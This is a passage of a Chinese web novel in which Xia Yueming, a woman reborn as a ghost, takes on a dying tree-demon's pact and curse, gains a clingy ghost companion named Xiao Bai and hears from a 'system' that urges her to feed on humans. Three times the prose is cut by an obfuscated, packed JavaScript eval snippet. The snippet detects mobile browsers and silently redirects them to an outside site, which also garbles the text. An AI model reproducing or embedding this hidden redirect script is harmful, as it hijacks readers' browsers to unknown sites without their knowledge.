正琢磨以怎样的姿势灰飞烟灭才不会太痛的夏月明抬起头来,点了点头:“嗯,但必须用生灵之力来画才行。” 老人道:“再做一遍赋咒诀吧。” 见老人不像开玩笑的样子,时间紧迫,夏月明也未多问,直接照做。 老人将四张符图记在心中,而后捡起另外四张空白的符纸,学着夏月明的样子捏诀,画符。 正在观察白衣男鬼的李灵恪不可思议地揉了揉眼睛,惊喜道:“阿浅你看旁边,是老鬼画符!” 阿浅目光一斜,忍俊不禁:“哈哈哈哈哈完了灵恪,这个好像更好笑一点,看来我们得分出一个人来演打坐老鬼了。” “是啊。”李灵恪认真思考片刻,露出毫不心虚的灿烂笑容:“要不宁渊来演吧,我就挑战一下,一人分饰两角,把那两个男鬼都演了,毕竟我出众的外形和他们更接近。” 话音刚落,便见围绕着老人的四张符咒齐齐飞上穹顶中心。 “啪!” 穹顶之外,四面用来做阵的八卦镜齐声碎裂,意味着阵法的反弹功能已被破除。 李灵恪大惊:“怎么会……你有生灵之力?!” 笑容从李灵恪的脸上,转移到了老人脸上:“来作死也不先做好功课?我是树妖鬼修,当然有生灵之力。小子,你现在的表情可顺眼多了,哈哈哈哈……” 4. 新的身份 夏月明万万没有想到,自己的处境会以这样的方式峰回路转。 果然,能让己方摆烂队友重燃斗志的,只有对面的阴阳大手子。 “灵恪,补阵!”宁渊第一时间捏起诀来,站在侧位补阵。 李灵恪与阿浅也立刻收起惊掉的下巴,迅速归位。 见他们认真起来,夏月明不敢懈怠,忙提醒老人:“这阵已经不能弹回攻击,直接打碎就能破阵。” 黑白二鬼闻言就要挥拳去打碎阵壁,被夏月明举起双手拽住领子拉住了。 “只是不能反弹,碰上了该灰飞烟灭还得灰飞烟灭的……” 两只鬼神情一滞,然后眼里冒起小星星来——她、关、心、我! 老人并未立刻破阵,而是表情莫测地斜了夏月明一眼,不急不缓地幽幽道:“丫头,你想活还是想死?” 听老人对自己的称呼改变了,夏月明便知道她已看出自己不是什么老祖宗,诚恳道:“当然想活。” 老人冷哼一声:“本事不大,想的倒挺美。” 夏月明:…… 见夏月明垂眸不语,老人挑眉又道:“要打碎这阵法,需消耗我不少灵力,我何故便宜了你们?” 时间紧迫,夏月明便免去客套,直接问道:“你需要我做什么?” “哈哈哈。”老人听罢开怀大笑,颇为满意地点头道:“还算懂事。” 旋即眼中盛满杀意,咬牙切齿道:“我要你在三日之内,将那害我的孽障收拾了,连同指使她的贱鬼也一并灰飞烟灭,不得好死。” 老人周身气流涌动,面容也变得十分可怖,一副势在必得,定让仇人百倍偿还的架势。 下一秒,却听见夏月明十分诚恳地道:“对不起,我做不到。” 老人压制怒气,咬着牙不爽问道:“为何?” “犯法。”夏月明诚实回答。 老人:? “你一个鬼,守人间的法律?岂不是要叫活人笑死,叫死人笑活?”老人气笑不得,冷声嘲讽,夏月明却并未动摇。 虽然这里不归现代法律管,但她毕竟当了二十多年守法好公民,轻易做不了违法的事。而且老人显然太高估她的实力了,没有生灵之力的她如今与普通的游魂野鬼并无区别。 见夏月明态度坚定,老人嫌弃地冷哼了声,不爽地改口道:“罢了罢了,我换个条件吧。” “嗯。”基于先前的条件,夏月明合理担心老人再提出类似要求。为免浪费时间,她尽量简单而严谨地提醒道:“在我能力范围内,不违反公序良俗、不草菅人命或鬼命的事都可以。” “是正经事,放心吧。”老人无语地翻了个白眼,耐心所剩无几,“我与一个鬼曾有过约定。但我此番战损……怕是无法兑现了。我要你代替我,完成与他的约定。” “好。他是谁?我要怎么赴约?” 老人道:“闭眼。” 夏月明乖乖照做,老人伸出右手运功,将左手食指指尖逼出一滴黑色液体来,在夏月明眉心点了一下。 黑色液体瞬间渗入她的皮肤,消失无痕,与此同时,她的脑海中出现了一些不属于自己的记忆。 记忆内容多是关于老人和一个年轻男子的。 男子五官深邃、轮廓分明,身穿黑色战甲,背负血色披风,高大挺拔的身躯在黑色鳞甲的包裹下,勾勒出结实而雄壮的肌肉线条。浑身散发着一种仿佛可以征服一切的凛冽气场。 想来他就是与老人有约定之鬼,夏月明猜测此鬼生前定是个威震一方、杀戮缠身的大将军。 记忆中,老人对男子嘘寒问暖,鞍前马后,男子对老人冷酷无情,爱答不理。 是她的儿子吗? 如果是,那多半不会是什么为难的约定。 夏月明心中推断二人关系,却并未发问。 “他叫轩辕泓,与他有关的记忆,我已全部分享于你。你此刻只能看到些许片段,余下的记忆,需触景而生,你可知晓?” “嗯。”夏月明睁眼,道:“你和他的约定是什么?” 老人并未直接回答,只道:“你见到他时自会想起。” “嗯。”夏月明不再多言,皱起眉头望向穹顶,提醒道:“这阵法快要修好了,他们补上了之前的bu……”“bug”一词脱口而出,她忙改口:“……漏洞,再要解阵就很难了。” 老人听罢运转灵力,盘起腿来席地而坐,将能量汇集于双手掌心之间。 夏月明松了口气,又听老人边运功边道:“对了,方才与我的宝贵记忆一同传与你的,还有一个诅咒。一年内你若完成了答应我的事,诅咒自动解除,若完不成……便会承受咒虫钻心之痛,直到魂形散去,灰飞烟灭。” “……”又是诅咒。夏月明一时觉得喉痛干痛说不出话来,下意识咽了口唾沫。在前一个世界她就丧命于诅咒,这个世界不会历史重演吧? 停顿片刻后,她神情严肃地道:“我会尽力完成。” 虽然下诅咒这事有点狠,但夏月明觉得她的命毕竟是老人救下的,以此为要挟,也不算过分。 老人听她应下,终于再无挂碍,振臂一挥,将所有真气凝聚在掌心。 在阵法修复好的前一秒,巨大能量自老人掌心爆发,震碎了整个穹顶,百米之内树倒房塌,鸟兽离魂。 “小心!” 幸而宁渊及时做盾,护住了仍在努力修补阵法的同僚。 阵法解除,老人吐出一大口黑血,见缉灵司的三名少年竟毫发无损,气得咬碎了后槽牙。 她仿佛看见红布块的斗牛一般,充血的眼珠里只有三名少年的身影(尤其是李灵恪),苍白的脸上黑筋暴起,面目狰狞已非人相,不管不顾只想亲手将他们的肉身撕碎,然后亲口吃掉他们的灵魂。 “灵恪,传送阵!”意识到老人状况不对,宁渊立刻拔剑应敌,为队友争取撤退时间。 阿浅使出宗门秘法水龙吟,在旁策应宁渊,李灵恪以指为笔,就地画阵。 然而千年妖物的法力就算大打折扣,抱着同归于尽的想法,对付三名少年也绰绰有余了。她几乎在一瞬间便逼近到三人跟前,十指化作无数毒蛇般的藤蔓,击碎俯冲而来的水龙,拂开密如雨落的剑阵,刺向三名少年。 早已辩不出人形的脸上,露出嗜血癫狂的笑容:“哈哈哈!让我来替你们的祖宗好好管教管教你们,让你们知道什么叫做尊老爱幼!” 眼见实力过于悬殊,宁渊变换招式,转守为攻,剑阵在顷刻间转向重组,刺向老人后背。 趁老人收起藤蔓抵挡剑阵之时,宁渊大喊:“分开跑!” 三名少年仓皇逃窜,藤蔓绕开棵棵巨树,紧追不放,直到三名少年再次汇合,老人才发现满身藤蔓就像被猫咪玩过的毛线团一样,在树林中织起一张杂乱的藤网,想收回也难了。 李灵恪趁机当着老人的面画起传送阵来,气得老人吱嘎乱叫。 就在此时,夏月明终于凭借两条颤抖的腿和强大的意志力追上来了,黑白二鬼保持一定距离跟在她身后,不然可能她来得更晚。 解不开藤蔓快要急眼的老人见状猖狂大笑,露出一副要吃席的兴奋表情,对夏月明道:“丫头,来得正好,快把他们剥皮抽筋,让我好好享用一番。” 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866729|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渊持剑戒备,虽然表情是一贯的严肃淡漠,额上却不断冒出细密的汗珠。 方才的一招剑阵已经用掉了他九成的气力,阿浅的水龙吟也是不到关键时刻不会用的绝招,若这后来的女鬼还有什么手段,他们很难应对。 就在这剑拔弩张的时刻,夏月明率先开了口:“喂,你们可以帮我一个忙吗?” 老人突然有种不祥的预感。 在三名少年戒备的目光中,夏月明十分坦诚地道:“你们说的那个闵大人,是你们的上司对吧?” 宁渊:“你想说什么?” 夏月明脸上莫名闪过一丝羞赧:“如果可以的话,我想你们帮我告诉闵大人,我会很多阵法和灵术,我愿意当他的使灵,不用分享他的灵力,只要保证做五休二不加班,按时发工资就行,我会很听话的。但……可能要一年后才能入职,如果到时我还没有灰飞烟灭的话。” 三名少年:?(做五休二,你想的还怪美。) 老人:??(鬼界领袖你不当,非要给人当奴隶是什么思维?) 察觉到气氛有些诡异,夏月明又干笑了一声:“当然,也不勉强……” 她知道自己在这样的关头说这个很不合时宜,但若今后都要在这个世界生存下去,她还是更愿意和人打交道一些。除了当下,实在不知还有别的什么机会。 空气安静了三秒之后,李灵恪放声大笑起来:“哈哈哈哈你是我见过最好玩的鬼,你叫什么名字?” “我叫夏月明。” 李灵恪边说边暗搓搓启动了传送阵,他并不是真的好奇她的名字,只是为了找个话题引开大家注意力罢了。 传送阵一启动,李灵恪立刻变了副嘴脸,一脸怨念地道:“喂,夏月明,我记住你了,等我回去立马找棵树吊死,变成厉鬼来找你报仇!” 狠话放完,传送阵还没生效。李灵恪慌了起来,怂怂地凑到宁渊耳边,小声道:“好像遇到了最倒霉的情况……怎么办宁渊……” 宁渊观阵思索,眉头紧蹙。阿浅将手背后,悄悄蓄力。 眼看老人的藤蔓快要解开了,李灵恪急得快要哭出来。 这时,他听见夏月明淡淡道:“此阵在东南,满月变弦月,西侧为七星。” 李灵恪挠头,师父只告诉过他传送阵偶尔会有失灵的情况,却未曾听说这与阵法方位和画法有关。 念及不会有比当下更糟糕的情况,抱着死马当作活马医的心态,他捏诀改阵,最后一笔落成后,阵法果然出现灵光。 他激动的表情和话语,连同人一起被传送至不知什么地方。 夏月明转身时,老人已收回了藤蔓,她下意识说了声:“对不起。” 老人却不似刚才那样抓狂了,只幽幽地望着她,道:“但愿我没信错人。” 接着,老人身体化作黑色轻烟,逐渐消散,夏月明下意识伸手去抓,却是徒劳。 轻烟从她指缝中溜走,望着她不舍悲伤的神情,老人用嘶哑沉着的嗓音,留下了最后一句话: “从今以后,你就是毕宿宫副宫主——林蔓。” 语声消散之时,老人的身体也消散完了,只留下一颗李子一般大小的,发着微光的墨绿色球体。 是她的妖丹。 虽与老人相处不久,但见她化成妖丹,夏月明心里还是有些难受。 她想将妖丹收起,才发现衣服没兜。 翻袖子一看,袖中果然有暗袋,将妖丹装进暗袋的时候,她摸到暗袋中还有个光滑坚硬的物品。 熟悉的触感。 拿出一看,正是自己在前世灵魂离体后触摸的那个玉佩。 5. 伙伴 “玉佩怎么会在这里?” 明明连当时穿的那身衣服都没跟着穿越过来。 夏月明将玉佩仔仔细细检查了一遍,的确同之前那块一模一样,但也不排除这并非同一块玉佩,而是本世界中与之一样的另外一块玉佩的可能。 看来完成老人心愿之后,自己还有很多事要做。 穿越原因、爷爷的线索、还有玉佩玄机……她相信当自己足够了解这个世界时,一切自会有眉目,所以不急于这一时。 将玉佩和妖丹一起收好,夏月明开始琢磨如何去寻找老人记忆中的那名男子。 根据逐渐清晰的记忆,她知道男子就在老人所属的组织——毕宿宫。 这是一个嗜血阴暗的厉鬼大本营,一般小鬼进去后只有被当做口粮的份儿。 但老人早已为夏月明埋好了伏笔——复颜术。 如此,就算夏月明与老人的样貌相差甚远,也可以凭借老人分享给她的记忆,代替老人以副宫主的身份,来实现她与男子的约定。 不过夏月明并不打算在毕宿宫长留,一完成老人心愿,她就会想办法溜走,去找缉灵司投诚。 但她也知道,这种地方,都是进去容易出来难的,她有副宫主身份保护,其他鬼就不一定了。 夏月明望向与她隔着三米远的黑白二鬼,他们正在遵照她的要求,与她保持一定距离。 见她看向自己,白衣男鬼朝她露出一个极为阳光的笑容,黑衣男鬼也不自然地回她一个微笑, “还是不要拖他们下水了。” 这样想着,她迈起颤抖的腿,朝他们走去。 黑白二鬼见状忙朝后退去,她前进一步,他们后退一步,死死拿捏着她先前请求的三米距离。 夏月明有些哭笑不得,高声道:“我有事和你们商量,不用保持距离了。” 话音刚落,黑白二鬼的脸上就绽开幸福笑容,像终于等到主人下班回家的猫猫狗狗一样,屁颠屁颠朝夏月明走来。 满心欢喜地竖起耳朵,静待主人主人吩咐。 夏月明微笑着同他们道:“今天谢谢你们关照,我们就此分开吧。你们照顾好自己……希望我们有缘可以再见。” 一腔热情撞了冰山,黑白二鬼脸上的笑容瞬间凝固。 白衣男鬼眼眶泛红,眉头紧蹙,委屈巴巴地问道:“主人,奴做错什么了吗?” “……没有。”从未应对过这种情况,夏月明有些不知所措,认真解释道:“我要去的地方太危险,我不想拖累你们。” “主人不必为此烦忧,恋鬼的使命就是满足主人、追随主人,除了离开这件事,主人让奴做什么都可以!”白衣男鬼的声音坚定而温柔,目光中满是小心翼翼的期许。 黑衣男鬼不善言辞,只严肃地望着夏月明,宣誓一般郑重道:“奴也一样。” 被两位帅哥这样注视着,夏月明一时有些为难。 她跳跃的思维突然就想到了以前看的一个关于字母圈的段子: “可以当我的主人吗?让我做什么都行。” “好,那我命令你考上清华。” 一年后…… “主人,我考上了。”“清华录取通知书.jpg” 这个世界没有清华,但肯定也有同样难度的事,无论他们能不能做到,对他们来说都不算坏事。 夏月明思索了一下,微笑道:“好,那我命令你们成为鬼界最强。” 黑白二鬼:? 没想到她玩这么大。 黑衣男鬼垂眸思索了片刻,拂袖转身,利落离去。 见他知难而退,夏月明松了口气,望着被暮色勾勒出橘红色描边的黑色背影,微笑着挥了挥手,心中默念道:“再见。” 白衣男鬼却并未抬脚离开,见黑衣男鬼走远了,他扬起唇角,将自己变成了夏月明的样子。 夏月明:? “在奴心里,主人就是最强大的鬼。” 夏月明:呃…… 真是好响亮的一个马屁。 骤然看到自己的脸对自己露出谄媚笑容,夏月明只觉得尴尬又怪诞,忙把眼睛捂起来,诚恳请求道:“拜托,快变回去。” 白衣男鬼乖乖听话,委屈巴巴地问:“主人还会让奴离开吗?” 夏月明叹了口气,无奈道:“我并不需要什么男宠。如果你需要的话,我可以想办法和你解除契约,你再去找一个新的主人。” 白衣男鬼听罢不再委屈巴巴,眼里竟似要冒出小花花一般。 “契约轻易解除不了,但奴有办法……” 夏月明以为自己终于说服他了,刚要松口气,下一秒就看到他趴在地上,扬起一张帅脸无比期待地看着自己:“主人不需要男宠,那需要宠物吗?奴也可以是小狗哦!汪!汪!” 夏月明:?真就油盐不进呗。 见她愣神,白衣男鬼以为自己有希望了,便乘胜追击,轻轻抱住夏月明大腿开始卖萌:“主人,奴只是一只可怜的小狗狗,求主人不要赶走奴……或者主人喜欢小猫咪吗?” 说罢他学着小猫的样子舔了舔手指,还欢快地叫了两声:“喵~喵~” 夏月明两腿发软,把心一横,推开他冷漠地道:“小猫小狗都不要,我要你别跟着我。” 然而白衣男鬼却充耳不闻,自语道:“那还是小狗吧~小狗忠诚。” 说罢他就假装自己是一只小狗,赖在夏月明身边,说什么也不肯走。 夏月明跟他讲道理,他就用一副“你说什么,小狗什么也不懂,小狗只知道爱主人”、“小狗狗能有什么坏心眼呢”的无辜眼神望着夏月明。 给夏月明彻底整不会了。 天色渐暗,老人记忆中关于夜晚的部分骤然浮现在夏月明脑海中,大鬼吃小鬼,小鬼吃生人,鲜活的画面吓得夏月明险些站不稳。 为避免被出来捕食的厉鬼当成口粮,夏月明决定先不管白衣男鬼,找个安全的地方熬过夜晚再说。 目光触及陌生的地方时,脑海中老人植入的相关记忆便会苏醒。 凭借这些记忆,夏月明很快便找到一处还算祥和的村落。 幸而一路上没遇到修行人士,她走在大街上也没人觉得异常。 不过……身后跟着装成狗狗的白衣男鬼,也很难被当做正常人看待就是了。 好在她从小就因为身上的咒印被当做异端,早已学会熟练地屏蔽各种眼神。 心里只想着跟白衣男鬼耗下去,等他自己绷不住了主动离开。 不过……显然她低估了恋鬼的厚脸皮程度。 行至一家商铺外时,有一个村民正在遛狗。 白衣男鬼看到狗狗被主人摸摸,就把头凑过来,一副我也要的架势。 银色的发丝柔软顺滑,看起来很好摸的样子。 夏月明险些绷不住,无奈地对白衣男鬼道:“做个人吧你!” 一直装作听不懂人话的白衣男鬼这下可不装了,露出人畜无害的纯良笑容,意味深长地问夏月明:“那主人会留下奴吗?” 夏月明思索片刻,知道这样耗下去不是办法,便点了下头。 “……嗯。但要约法三章。” 有副宫主的身份在,一开始她或许有能力保护他,但之后就不一定了。 “没问题! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866730|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”见她松口,白衣男鬼开心得恨不得原地抱起她转圈圈,立刻爽快答应道“只要让奴留在主人身边,别说约法三章,三十章都没问题!” 夏月明无奈地摇了摇头,而后认真道:“第一,我们是伙伴,别再跟我叫主人,也别再自称奴了。” 白衣男鬼疑惑地皱了下眉,而后欢快点头:“嗯!没问题。奴……我会做到的,还有吗?” 夏月明又道:“第二,既然是伙伴。就要坦诚相待,要团结,要互相信任。” “没问题!奴……我一定对主人坦诚相待~” “嗯?” “我一定对……你,坦诚相待。” “嗯。第三,世道险恶,为了更好的相互扶持,我们要各自学一些生存的本事。” 白衣男鬼重重点头,神色难得认真起来:“这是自然,我再也不会让你陷入险境。” “嗯……我也会尽我所能保全你。” 约定达成,夏月明望着白衣男鬼坚定认真的目光,心中竞生出几分暖意。 她从前就一直想要有一些伙伴,但因为身上丑陋咒印的原因,没有人愿意与她亲近。 面前这只鬼,好像是她的第一个伙伴。 她心中莫名有些欢喜溢出,在完全陌生的世界里,也忽然觉得心安了几分。 “你叫什么名字?”夏月明眸光闪烁,欣然望着白衣男鬼。 白衣男鬼微笑道:“恋鬼没有名字。你可随意唤我。” 夏月明认真道:“不行。你是我的伙伴。我的伙伴要有名字的,不然我怎么喊你,怎么记住你?同别人讲起你时,又该怎么说呢?” 白衣男鬼先是愣了下,“我忘记自己的名字了……”而后怯然道:“你可愿,给我一个新的名字?” “嗯,那等你想起自己的名字,一定要告诉我。可是……”夏月明皱起眉来,可是她是个起名废呀。 不过看着白衣男鬼无比期待的样子,她又不好再拒绝,便绞尽脑汁想了半天,而后垂头丧气地道:“要不先叫你小白吧……我知道这个名字听起来不够正式,所以你愿意的话,可以加上我的姓,叫夏小白怎么样?这样是不是又正式,又有你的个人特色呢?” 她叽里呱啦解释了一大堆,来为自己取的不够好的名字做美化,末了又心虚地补充了一句:“要是你不喜欢,我再换一个……” “夏小白。”白衣男鬼将她为自己取的名字清晰地、认真地念了一遍,又颇为珍重地将她的名字念了一遍:“夏月明。” 而后眼中光芒闪烁,不自觉露出一个大大的笑容:“嗯!好名字,以后我就叫夏小白啦。” 那笑容竟比白天的暖阳还要灿烂。 只是他刚欢欣雀跃地琢磨完自己的名字,就听见刚才遛狗的大叔在呼唤跑远的小狗:“喂!小白,拉完屎就赶紧回来!” “……” 最怕空气突然安静。 夏月明尴尬道:“呃……怎么他也叫小白……不好不好,我再给你换一个名字吧。” 小白摇摇头,喜滋滋地道:“不换不换,它是叫小白,可它不姓夏。” 虽然撞名字了,但似乎丝毫没有影响到他的好心情。 受他感染,夏月明也不再纠结名字好不好听,特不特别了。 而且她发现,自己的身体好像不再打哆嗦了。 她怕鬼,却不怕自己的伙伴,哪怕伙伴就是鬼。 当然,她自己也是鬼。 两只鬼走在人间的灯火中,冰冷的身体也被渡上了一层暖色。 虽然他们与这人间隔着生死的天堑,但并不妨碍他们与人间众生一样,向暖而生。 6. 系统? 夏月明和小白沿街找了一圈也没找到可以住宿的地方。 跟遛狗大叔一打听,才知村庄内并无客栈,要住宿需去村外。 依照大叔描述的路线,二鬼一同来到郊外的一家驿馆。 驿馆大门斑驳腐坏,散发着一股潮湿腐朽的味道。残破的灯笼摇曳不定,在杂草丛生的石板路上,投射出变幻诡异的虚影。 小白上前,拍了拍大门上生锈的铁环。 几声闷响之后,木质大门“吱嘎”一声缓缓打开,一位身形微胖,满脸胡茬的中年男人探出身子,阴沉沉地问:“做什么?” 男人黑眼圈很重,像是几夜没睡过好觉的样子。 夏月明道:“你好,我们想借宿一晚。” 男人将两只鬼从上到下打量了一遍,有些不安地道:“劝你们换个地方住,这里……不干净。” 最后三个字他特意说得缓慢又清晰,显然是另有所指。 但小白没听出他话中深意,不在意地笑道:“没事,我会打扫。” 夏月明伸出被吓得直哆嗦的手,拽了下小白的袖子,踮起脚来凑近他耳边小声提醒道:“他说的不干净,是指这里闹鬼。” 小白听完大惊,旋即一脸严肃,眼中透着杀意低声问道:“他看出我们身份了?要不要灭口?” 夏月明:“……”对哦,我们就是鬼。 这驿馆阴森诡异的氛围,对人来说十分恐怖,对鬼来说却刚刚好。 夏月明稍微纠结了下,鼓起勇气对中年男人道:“夜深不好赶路,还请您收留一晚。” 中年男人再次将面前的两只鬼打量了一遍,不再多劝,开门放他们进去了。 驿馆院内杂草丛生,也是一片破败景象。 每一间客房的窗户都被木板封死,看不出是否住人。 他们被安排在西侧最里间的卧房,这里专供遗失钱财或囊中羞涩的游人借宿,是所有卧房中环境最差的一间。 墙壁上的涂料已经剥落,露出斑驳的土块,屋顶的瓦片残破稀疏,似乎随时可能坍塌。 被封死的窗户无法透进月光,借着白色蜡烛提供的微弱光亮,夏月明大致看清了房间的布局。 这里只有一张陈旧的木床和一张晃晃悠悠的圆桌。 床上铺着一层褪色的被褥,与墙角的霉菌一起散发出难闻的气味。 “记住,夜里不管听到什么声音,都不要开门去看,好奇心会害死猫的。” 留下最后一句劝告,中年男人便快步离开。 夏月明掀开被子,在床上坐下,突然就感觉一阵困意袭来,她没忍住打了个哈欠。 “鬼也会困吗?”她新奇地问小白。 小白认真道:“大多数靠修炼打坐便可恢复精神。但若生前是只爱睡大觉的懒人,死后也会变成爱睡觉的懒鬼。” “……” “呃主人,我不是说你……” 夏月明又打了个哈欠。 变成鬼之后她暂时没有掌握辨别同类的方法,无法确定这里还有没有别的鬼,因而神经有些紧绷。 小白看出她的不安,柔声道:“你先休息,我去外面看看情况。” “店主说夜晚不要出去……” “放心,我虽对付不了臭道士的阵法,但对付寻常小鬼还是绰绰有余的。” “那……你小心点,不要勉强自己,有问题就赶紧撤。” “嗯,”被她关心叮嘱,小白心里美滋滋的,喜笑颜开就出了门。 小白走后,昏暗的屋里就剩夏月明一个。 她皱着眉头翻了翻潮湿发臭的被褥,咬咬牙还是钻进了黏糊糊的被窝。 和很多人一样,她小时候发现的第一个规则怪谈就是:鬼不会攻击被子里的人, 虽然现在她也是鬼,但她相信被窝之神不会放弃每一个信徒。 困意再次袭来,她努力打起精神,意识却逐渐变得昏沉。 朦胧中,她听见一个混沌的声音在试图唤醒自己。 “喂,醒醒,醒醒。”声音听起来带着几分怨念,“别睡了,快起来炼魂!” “好耳熟的声音……”夏月明皱起眉头,想要睁开眼睛,却仿佛被鬼压床一般,怎么也醒不过来。 “你是谁?”她正想努力回忆起在哪里听见过这声音,就听见说者故意将嗓子夹了起来,用滑稽的伪声道:“那个……我是系统呀,你知道的,这年头,穿越者几乎人手一个系统嘛,嘿嘿……” “系统?”夏月明怀疑他在骗自己,却没有证据。 听他所言不像是这个世界的人,若非系统,就是和自己一起穿越过来的什么人。 或者……东西? 夏月明想起了那块熟悉的玉佩,惊讶道:“你是玉佩吗?” 这个猜想一说出,就被她自己否定了,玉佩怎么会说话呢? 但那夹子音却承认了,笑嘻嘻地道:“哈哈,不愧是我选中的宿主,真聪明,一下子就发现了我寄存的地方。” “还真是?”夏月明惊了,自己何德何能拥有了小说主角体验卡,不但穿越了,还带着系统。 “先别震惊了,知道你为什么会想睡觉吗?” “因为……我是懒鬼?” “……”夹子音无语一瞬,忍住想吐槽的冲动,直接道:“我长话短说,昏睡是因为你的魂力在消散。你虽然穿越到了这里,勉强能以鬼身存活,但也只是一缕残魂,若不抓紧炼魂,要不了一个月就会彻底消散,查无此魂。” 自称系统的夹子音上来就说出了第二个劲爆的信息,夏月明一时不知如何反应,反而显得淡定了:“那我该怎么炼魂?” 她记得小说里面,系统说完主角困境后,都会给出一些相应的任务来帮助主角解决问题。 果然,夹子音的系统很快就为她指明了方向。 “这个世界,炼魂有这么几种方法,吃人心,食人魂,还有吸人精气,你选一种吧。” “……”短短一句话就让夏月明露出了痛苦面具,“只有这些吗?” 系统道:“当然还有其他更加邪门残暴的功法,但你现在只有一缕残魂,不建议修炼。” “我的意思是,有没有不用害人的,温和一点的炼魂方法?” “那没有了,否则滞留人间的厉鬼完成执念后,为何不主动去地府投胎,反而要祸乱人间呢?” 夏月明明白他的意思。厉鬼在人间完成执念,为了强大魂体,便会用他刚才说的几种方法修炼。后果就是,当执念完成之后,自身杀孽太重,功德大残,难以再投人道,索性便留在了人间。 见她对这些炼魂方式十分抗拒,系统便提议道:“不想伤害无辜的话,可以吃监狱的死囚。他们可是连黑白无常都不想收的人。” “……”夏月明嘴巴紧抿,皱眉深思,显然系统的提议并没有减少她对这残酷炼魂方式的抗拒。 良久后,她低声道:“我想试试其他办法。” 系统气呼呼说了声“倔驴”,知道她不见棺材不会落泪,又平复了心情,淡漠道:“炼魂需要一些时间,给你一周试试,要是没找到其他修炼方法,就乖乖按我说的做。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866731|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯……”夏月明暂且应下,因思虑过度,感觉脑中愈发混沌。 系统感应到她不舒服,不耐烦道:“困了就休息,硬撑到昏过去了,会消散得更快,” “小白还在外面,我不太放心。” 虽然她如今只是一缕残魂,废鬼一个,但若伙伴遇到危险,她还是要第一时间赶到的。 系统又说了声“倔驴”,然后不爽催促道:“快睡,有情况我会叫醒你。” 困意愈发浓烈,夏月明也不再硬撑,遵循魂体意愿,睡了过去。 不知睡了多久,她被不远处一声凄厉的惨叫声惊醒了。 她下意识裹紧小被子,准备起床看看情况,一翻身,就撞进一个结实的怀抱里,吓得她原地向后一弹,重重地撞在了墙上。 定睛一看,原来是小白。 他不知何时回来的,侧躺在夏月明旁边,因知道她不喜碰触,便隔着一些距离,静静欣赏着她的睡颜。 没料到夏月明一翻身,撞了个满怀,他又喜又怯,急忙站起身来。 “抱歉……我没想到你会这么快醒来……”嘴上说着抱歉,表情却美滋滋的,仍在回味着方才她入怀瞬间的感觉。 若是别人,夏月明或许会生气,但她知道小白的一切都只是恋鬼本能,便没有责备,轻声问道:“外面发生什么了?” 小白笑道:“没什么,不过是店主杀了一个书生,正剁成肉馅儿,准备做人肉包子呢。主人,您有口福了。” 夏月明:??? 胃里瞬间难受痉挛,夏月明忍不住一阵干呕。 怪不得这家驿馆阴气森森的,原来的确是黑店。 强忍着魂体的各种不适,夏月明道:“带我去看下。” 人已被杀,她去了也不能改变什么,只会看到那些令她生理不适的场面,徒然折磨自己。 但她入睡前,脑海中曾产生过一个设想,机会难得,她很想去证明一下。 小白皱起眉头,犹豫道:“还是晚点再去的好,人刚死,黑白无常很快就会来索魂,碰上了太危险。再等一会儿,我去把人肉包子拿到房间来给你尝尝。” 夏月明又没忍住一阵干呕,神情却有几分倔强,坚定道:“我就是想找他们。” 小白担忧地望着她,不知她有什么意图,弱弱提醒道:“主人……我打不过他们。” 见他神情自责,夏月明忙解释道:“不打架,我想和他们……做个交易。” “交易?” 小白犹豫了下,点了点头,决然道:“请跟我来。” 他无条件支持主人的一切决定,即便心知与地府接触的危险后果。 夏月明跟在小白身后,听见耳畔响起系统的夹子音。 “你疯了吗?!跟黑白无常做交易?” 夏月明没有管他的质问,小声反问道:“你之前不是说有情况会叫醒我吗?怎么小白来了半天也不说呀?” 夹子音的系统愣了下,然后嘿嘿笑道:“男女之事又危害不到性命。我看他挺行的,你就好好享受嘛~” “……” 夏月明很是无奈,果然出门在外,还是靠自己安心些。 小白在驿馆后院的房间外止步,道:“就是前面。” 在他们前方大概五米的地方,有一间比其他客房都要大的房间,房间窗户也被封死了,夏月明隐隐约约听见里面传出剁肉的声音,忍不住又是一阵反胃。 不一会儿,他们就看到两个穿着地府工服,威风凛凛的鬼差从房内走出。 想来正是前来索魂的黑白无常。 7. 无常 不过两位看似威风凛凛的鬼差,行事却并不威风。 他们一出门就开始吵起架来,互相甩锅。 “我缩里怎么不早点给他丧脚镣啊?” 说话的是黑无常,他身材微胖,长着一张可爱无害的娃娃脸,嘴里却吊着根约二十厘米的猩红长舌,在惨白皮肤的映衬下好似吐出的大口鲜血一般。 视觉上格外渗人,听觉上……相对就保守了一些。 